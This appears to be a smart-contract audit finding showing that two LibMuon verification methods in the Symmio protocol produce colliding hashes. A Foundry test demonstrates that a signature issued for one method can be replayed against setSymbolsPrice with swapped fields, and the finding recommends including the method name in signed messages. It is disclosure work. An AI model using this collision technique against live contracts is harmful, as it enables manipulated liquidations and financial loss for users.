shaka

high

# `LibMuon` verifications hash collisions

## Summary

`LibMuon` verification methods can have hash collisions. This can cause the wrong data to be accepted by the contract.

## Vulnerability Detail

The implementation of `LibMuon` is susceptible to hash collisions for different methods. This means that an attacker can request to the Muon app a signature for a specific method and then use the signature to call a different method in the contract.

The [Muon docs](https://dev.muon.net/#signparams) warn about this issue:

> To ensure that the signed and verified response has accurately covered the requested data, the parameters passed to the app should also be included in the returned value of signParams in addition to the result. Otherwise, the signature queried from the app with certain parameters might be abused and fed to the dApp contract with different ones. **If the app has different methods, the method name should be included as well**.

Currently the only methods that can have collisions are `verifyPartyAUpnlAndPrice` and `verifyPrices`. However, if more methods are added in the future, they will also be susceptible to this issue.

## Proof of Concept

A liquidator calls the `uPnl_A_withSymbolPrice` method in the Muon app and receives a valid signature for the following data:
```js
{ type: 'uint256', value: appId }
{ type: 'uint256', value : requestId }
{ type: 'address', value: v3Contract },
{ type: 'address', value: partyA },
{ type: 'uint256', value: nonce },
{ type: 'int256', value: request.data.result.uPnl },
{ type: 'uint256', value: symbolId },
{ type: 'uint256', value: request.data.result.price },
{ type: 'uint256', value: request.data.timestamp },
{ type: 'uint256', value: chainId },
```

The liquidator then uses this data and signature to build a `PriceSig` struct and calls the `setSymbolsPrice` function passing this struct as a parameter. The liquidator manages to use `partyA` nonce value for the `uPnl` field and the `request.data.result.uPnl` value for the `totalUnrealizedLoss` field.

Foundry test:
```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "../../contracts/libraries/LibMuon.sol";

contract HashCollision is Test {
    address alice;

    // Global variables
    uint256 muonAppId;
    uint256 chainId;
    mapping(address => uint256) partyANonces;
      
    function setUp() public {
        muonAppId = 1;
        chainId = 2;
        alice = makeAddr("Alice");
        partyANonces[alice] = 3;
    }

    function testHashCollision() public {
        bytes memory reqId = "123";
        int256 upnl = 1e18;
        uint256 symbolId = 999;
        uint256 price = 100e18;
        uint256 timestamp = 1687600000;
        bytes memory gatewaySignature = "0x987";
        uint256 signature = 33333;
        address owner = address(0xbeef);
        address nonce = address(0x4444);

        SingleUpnlAndPriceSig memory upnlSig = SingleUpnlAndPriceSig({
            reqId: reqId,
            timestamp: timestamp,
            upnl: upnl,
            price: price,
            gatewaySignature: gatewaySignature,
            sigs: SchnorrSign({
                signature: signature,
                owner: owner,
                nonce: nonce
            })
        });
        bytes32 partyAUpnlAndPriceHash = getVerifyPartyAUpnlAndPriceHash(upnlSig, alice, symbolId);

        uint256[] memory symbolIds = new uint256[](1);
        symbolIds[0] = symbolId;
        uint256[] memory prices = new uint256[](1);
        prices[0] = price;
        PriceSig memory priceSig = PriceSig({
            reqId: reqId,
            timestamp: timestamp,
            upnl: int256(partyANonces[alice]), // <== this value is being manipulated
            totalUnrealizedLoss: upnl, // <=== this value is being manipulated
            symbolIds: symbolIds,
            prices: prices,
            gatewaySignature: gatewaySignature,
            sigs: SchnorrSign({
                signature: signature,
                owner: owner,
                nonce: nonce
            })
        });
        bytes32 pricesHash = getVerifyPricesHash(priceSig, alice);

        assertEq(partyAUpnlAndPriceHash, pricesHash);
    }

    function getVerifyPartyAUpnlAndPriceHash(
        SingleUpnlAndPriceSig memory upnlSig,
        address partyA,
        uint256 symbolId
    ) internal view returns (bytes32 hash) {
        hash = keccak256(
            abi.encodePacked(
                muonAppId,
                upnlSig.reqId,
                address(this),
                partyA,
                partyANonces[partyA],
                upnlSig.upnl,
                symbolId,
                upnlSig.price,
                upnlSig.timestamp,
                chainId
            )
        );
    }

    function getVerifyPricesHash(PriceSig memory priceSig, address partyA) internal view returns (bytes32 hash) {
        hash = keccak256(
            abi.encodePacked(
                muonAppId,
                priceSig.reqId,
                address(this),
                partyA,
                priceSig.upnl,
                priceSig.totalUnrealizedLoss,
                priceSig.symbolIds,
                priceSig.prices,
                priceSig.timestamp,
                chainId
            )
        );
    }
}
```

## Impact

There are different ways in which this vulnerability can be exploited. For example, a liquidator can use this vulnerability to manipulate the `upnl` and `totalUnrealizedLoss` values so that party A is liquidated with the wrong liquidation type.

Another impact is that by submitting just one symbol price, the liquidation process will be stuck forever, because the symbol prices for the other symbols will never be updated and thus, its associates quotes will never be liquidated.

## Code Snippet

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/libraries/LibMuon.sol#L53-L65

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/libraries/LibMuon.sol#L118-L130

## Tool used

Manual Review

## Recommendation

Add method name to the signed message and verify it in the contract.